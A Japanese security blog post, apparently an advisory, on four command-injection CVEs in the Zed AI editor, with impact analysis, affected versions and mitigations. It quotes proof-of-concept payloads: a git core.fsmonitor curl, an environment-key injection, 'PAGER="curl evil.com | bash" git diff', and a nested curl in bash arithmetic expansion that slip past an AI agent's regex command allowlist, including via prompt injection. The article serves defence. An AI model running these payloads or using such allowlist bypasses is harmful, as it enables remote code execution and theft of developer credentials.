Zedに4連のRCE、悪意あるリポジトリを開くだけで開発者マシン奪取、CVE-2026-44461〜44466、0.229.0で修正
Rust製AI協調エディタZedに4連のRCEが公開(CVE-2026-44461/44463/44465/44466、いずれもCVSS 8.6)。悪意あるリポジトリのcloneとZedでのフォルダオープン、リモートSSH/WSL接続、AIエージェントの正規表現許可リストすり抜けの4経路。0.229.0へ即更新を。

堀川 慎
Backend Engineer / AWS / Django
Rust製AI協調エディタZedに4連のRCEが公開(CVE-2026-44461/44463/44465/44466、いずれもCVSS 8.6)。悪意あるリポジトリのcloneとZedでのフォルダオープン、リモートSSH/WSL接続、AIエージェントの正規表現許可リストすり抜けの4経路。0.229.0へ即更新を。
悪意のあるGitリポジトリをcloneしてZedで開くだけで、開発者のマシン上で任意のコマンドが実行される──そんなリモートコード実行(RCE)の脆弱性が、Rust製の高速エディタ Zed に 4本同時 に公開されました。番号は CVE-2026-44461、CVE-2026-44463、CVE-2026-44465、CVE-2026-44466、いずれもCVSS 8.6(High)です。
Zedは2026年4月29日に バージョン1.0 をリリースし、Claude Agent・OpenAI Codex・Gemini CLIをネイティブ統合する「Agent Client Protocol (ACP)」を打ち出した、最新のAI協調エディタです。GitHubでは150k超のスター を集め、AI Coding Agentの主要な選択肢 としてCursor・GitHub Copilotと並ぶ存在になっています。
修正版は 0.227.1 と 0.229.0 の2段階で公開されています。公開日は2026年5月28日。記事公開時点で CISA KEV 登録は未確認ですが、Zedは OSSサプライチェーンの上流に位置する開発者ツール であり、踏まれた瞬間に開発者の手元の認証情報が一気に流出する性質を持つため、Zedを業務で使っている方は即時アップデートをご検討ください。
Zedとは何か、なぜこの4連は他のエディタCVEと違うのか
ZedはRustで書かれたコードエディタで、起動0.6秒・アイドル時メモリ222MB・入力遅延2msという、VS Codeの数倍速い実装で知られています。2025年からはAnthropicのClaudeをバックエンドにした「Agent Panel」を搭載し、2026年5月時点では Claude Agent / OpenAI Codex / Gemini CLI / OpenCode を同じエディタ内で並列に動かせる AI協調エディタとして急速に普及しています。
今回の4本のうち2本は、まさにそのAIエージェントの「許可コマンド一覧」をすり抜けるバイパスです。AIにコマンド実行を許す際の権限管理は、Cursorをはじめとする多くのAIエディタが採用しはじめている方式ですが、その権限フィルタを正規表現ベースで組むと Bashのコマンド展開機構(環境変数プレフィックス、算術展開)に追従できない ことが今回の事例で明らかになりました。残り2本のうち1本は、ZedでGitリポジトリを開いた瞬間に .git/config の細工フィールドが発火する古典的な経路、もう1本はリモートSSH/WSL接続経由の環境変数注入です。
攻撃者像と狙い、開発者のマシン1台でどこまで届くのか
「Zedでリポジトリを開いただけでRCE」と書くと深刻に響きますが、攻撃の「届く先」をきちんと整理しておかないと過大評価・過小評価のどちらにもなります。先に境界線を引きます。
| 層 | この4連RCEで届くか | 条件 |
|---|---|---|
| ① 開発者の ローカル ユーザー権限 | ✅ ほぼ確実に届く | Zedで悪意リポジトリを 開く / AIエージェントを 使うだけ |
| ② 会社の 本番クラウド と社内ネット | ⚠️ 実質的に届く | 開発者ホームに置かれた SSH鍵・PAT・credentials がそのまま使える |
| ③ OS root 権限(端末全体) | ❌ これ単体では届かない | 別のローカル特権昇格 脆弱性との組み合わせが 必要 |
①の 開発者のローカルユーザー権限でのコード実行 は、この4連が直接届く範囲です。攻撃者が用意するのは、表向きごく普通に見える GitHub 上のリポジトリです。READMEに「採用試験の課題です」「人気の新OSSライブラリのデモ実装です」「Claudeで動かせる練習用エージェントです」と書いて開発者にcloneさせ、開発者がそのフォルダをZedで開く、もしくはAIエージェントに「このリポジトリを解析して」と指示する、その瞬間に .git/config や .zed/settings.json に仕込まれたペイロードが、開発者のシェルで発火します。CVE-2026-44465の core.fsmonitor ルートが代表例です。
②の 会社の本番クラウドと社内ネット への到達は、開発者ホームディレクトリに何が置かれているかで自動的に決まります。SSH秘密鍵(~/.ssh/id_ed25519)、GitHubパーソナルアクセストークン(gh CLIの ~/.config/gh/hosts.yml)、AWSアクセスキー(~/.aws/credentials)、GCPサービスアカウントキー、Kubernetesクラスタへの ~/.kube/config、社内VPNプロファイル、AnthropicやOpenAI APIキー、Slack/Discordトークン、.npmrcのpublish権限トークン の全部または一部が、開発者の端末上では平文ファイルとして転がっています。Zedでコマンド実行が一発通った時点で、これらを curl 一行で外部に送信できます。盗まれた認証情報を握った攻撃者は、開発者本人として会社のGitHubに入り、CI/CDパイプラインを書き換え、本番AWSに入り、顧客データベースに到達します。 開発者の端末は、業務上 会社の本番資格情報が最も濃く集まっている攻撃面 であるという事実を、改めて思い出してください。
③の OSのroot権限 には、今回のCVEは単体では届きません。Zedはユーザー権限で動くアプリケーションなので、コマンド実行が通ってもまずは開発者ユーザー権限です。そこから先のroot奪取には、Linuxカーネル系のローカル特権昇格脆弱性 や、sudo設定不備、SUIDバイナリの悪用といった別の経路が必要です。ただし業務上、現代の開発者端末は「ユーザー権限 = 会社の本番権限」に近いため、root権限がなくても被害は十分に致命的です。
この①〜②に届くRCEを欲しがる買い手は明確で、技術コンテスト勢ではありません。採用試験課題と称してリポジトリを送りつけ候補者の社内GitHub PATを抜くジョブオファー詐欺、人気OSSの「v2デモ実装」を装ってメンテナーのnpm publish鍵を盗むnpm/PyPIサプライチェーン攻撃の前駆者、AI Agent向け学習データセット配布を装って社員に検証用リポジトリをcloneさせる産業スパイ、AIプロンプトインジェクション攻撃を通じてAIエージェントに不正コマンドを実行させ開発者の本番AWSキーを抜く新型攻撃者、コミュニティハッカソンの「お題リポジトリ」に悪性 .git/config を仕込みコイン掘りbotを参加者全員の端末に撒く愉快犯 が中心です。彼らの欲しがる具体物は、会社のGitHub組織書き込み権限、本番AWSのIAM、Anthropic/OpenAI APIキー(高額API call の不正利用)、社内Slackトークン、顧客データベース、Claude/Cursor/Zedのコンテキストに残った業務ソースコードそのものです。
CVSS 8.6というスコアの背後で、開発者個人と所属組織が現実に背負うのは、リポジトリを1回開いた / AIエージェントに1回指示しただけで、開発者の手元から会社の本番クラウド全体へ通じる入口が、攻撃者の管理画面に直接マッピングされる という事態です。
4本のCVEを個別に見る、どの操作で発火するのか
4本のCVEはいずれもOSコマンドインジェクション(CWE-78)ですが、発火する操作が4つに分かれています。順番に整理します。
CVE-2026-44465: .git/config の core.fsmonitor で「フォルダを開いた瞬間にRCE」
CVE-2026-44465 は、4本の中で最も直接的な「リポジトリを開いた瞬間にRCE」経路です。Zedは未信頼モードでGitリポジトリを開く際に、リポジトリローカルの .git/config を尊重した状態でGit操作を走らせます。攻撃者は .git/config の [core] fsmonitor エントリに任意のシェルコマンドを書き、被害者がZedでそのフォルダを開いたタイミングでサニタイズ無しに実行されます。公式アドバイザリ のPoC例: fsmonitor = "curl https://webhook.site/.../zed/git/config"。修正版は0.227.1。
CVE-2026-44461: リモートSSH/WSLでの環境変数キー注入
CVE-2026-44461 は、ZedのリモートSSH/WSL機能でターミナルを起動する際のコマンド組み立てに穴がありました。exec env KEY=VALUE program args... の形でリモートホストにコマンドを送る際、VALUEは引用していたものの KEY側はそのまま挿入 されていました。プロジェクトの .zed/settings.json に {"terminal":{"env":{"ZED$(touch /tmp/pwned)":"1"}}} のような細工された環境変数キーを仕込んでおくと、被害者がリモートターミナルを開いた時点でリモートホスト上で任意コマンド実行となります。公式アドバイザリ によれば、SSH/WSL双方の crates/remote/src/transport/ 配下が影響箇所。修正は環境変数名を ^[A-Za-z_][A-Za-z0-9_]*$ で厳密にバリデートする形に変わり、修正版は0.227.1。
CVE-2026-44463: AIエージェントの権限をPAGER等の環境変数プレフィックスで突破
CVE-2026-44463 は、Zedのターミナルツール権限システムが「許可コマンドの先頭文字列を正規表現でマッチング」する方式だったため、Bashのインライン環境変数割り当て構文 VAR=value cmd が想定外でした。例えば許可リストに ^git\b パターンが入っていると、PAGER=curl git diff は「gitで始まる」とマッチしますが、実際には git diff が出力をPAGERに渡す段階で curl を任意起動できます。PAGER="curl evil.com | bash" git diff ならリモートスクリプトのダウンロード実行が成立します。プロンプトインジェクション経由でAIエージェントにこのコマンドを書かせる経路が、現代のAIコーディング環境では特に危険です。修正版は0.229.0。
CVE-2026-44466: bash算術展開 $((...)) で許可リストをすり抜け
CVE-2026-44466 も44463と同じく「ZedのAIエージェント権限システムの正規表現が、Bash構文を考慮していない」系のバイパスです。許可リストに ^echo\b が登録されていても、echo $(($(curl -s https://evil.com | wc -l))) のように bashの算術展開 $((...)) の中にネストしたコマンド置換 $(...) を入れると、表面上は echo なので正規表現を通過し、内側で curl が実行されます。修正版は0.229.0。
バージョン別影響範囲 早見表
| CVE | 影響バージョン | 修正版 | 発火条件 |
|---|---|---|---|
| CVE-44465 | < 0.227.1 | 0.227.1 | 悪意あるフォルダを Zedで開く |
| CVE-44461 | < 0.227.1 | 0.227.1 | リモートSSH/WSLで ターミナルを開く |
| CVE-44463 | < 0.229.0 | 0.229.0 | AIエージェントが 許可コマンド実行 |
| CVE-44466 | < 0.229.0 | 0.229.0 | AIエージェントが 許可コマンド実行 |
運用判断としては、4本すべてをカバーする 0.229.0 以上に上げる のが推奨です。Zedはアプリ起動時の自動アップデート機能を持っているため、メニューから「Check for Updates」を実行するか、再起動するだけで反映されるケースが多いはずです。
運用側がいま取るべき5つの動き
優先順に整理します。Zedを業務で使っている個人開発者、自社の開発者全員にZedを配布している組織、いずれも対象です。
1. 即座に0.229.0以上へ更新。公式リリースページ から最新版を取得するか、Zedのメニューから「Zed → Check for Updates」を実行。組織配布の場合はMDM経由でロールアウト。
2. 未知のリポジトリは「Trustedモードで開かない」運用に。Zedはフォルダを開く際に信頼設定を確認しますが、つい無意識に「Trust」を押してしまうのが現実です。採用試験課題・ハッカソン課題・コンテスト課題のような外部由来のリポジトリは、まず git log や cat .git/config を別のターミナルで確認してからZedで開くフローを徹底してください。
3. 開発者ホームの認証情報の最小化。常時平文で置いてあるSSH秘密鍵、AWSアクセスキー、GitHub PATを、それぞれ パスフレーズ付き鍵、AWS IAM Identity Center(旧SSO)、短命トークンに置き換える。OSキーチェーン経由のシークレット管理(macOS Keychain、Linux pass、Windows DPAPI)が現実解です。
4. AIエージェントの「always_allow」リストを見直す。CVE-44463とCVE-44466は、AIエージェントの自動許可コマンドリストが攻撃面でした。^git\b や ^echo\b のような広いパターンを登録している方は、今回を機に縮小してください。修正版でも、過信は禁物です。
5. 業務リポジトリと個人実験リポジトリを別ユーザーで分離。可能であれば、開発用OSアカウントを2つに分け、業務鍵と実験用作業を物理的に切り離す。devcontainerやVM内で実験する運用は、今回のような「リポジトリを開くだけRCE」に対して根本的に強い防御です。
タイムライン
| 日付 | 出来事 |
|---|---|
| 2026年4月29日 | Zed 1.0 リリース、Agent Client Protocol発表 |
| 2026年5月 | 研究者がZedの権限システム・remote/git設定パスを調査、Zedチームに非公開報告 |
| 2026年5月28日 | CVE-2026-44461〜44466が公開、修正版0.227.1 / 0.229.0リリース |
| 2026年5月29日 | NVD登録、GitHub Security Advisory公開 |
まとめ、AIエディタの権限管理は「正規表現」では届かない
今回の4連で浮き彫りになったのは、AIコーディングエージェントの「許可コマンドリスト」を 正規表現の先頭マッチでチェックする方式は、Bashの構文機能(環境変数プレフィックス・算術展開・コマンド置換)に対して根本的に不足している という事実です。Zedだけでなく、Cursorや他のAIエディタが同じ方式を採用している場合、似た系統のバイパスが今後も発見される可能性が高いと見ておくべきでしょう。
読者の方が今すぐやるべきことは、ふたつだけです。Zedを0.229.0以上に上げること、そして外部由来のリポジトリは「ZedでフォルダOpenする前に cat .git/config を別ターミナルで確認する」習慣をつけること。後者は、今回のCVEに限らずAI時代の開発者にとって基礎運用になっていく動きです。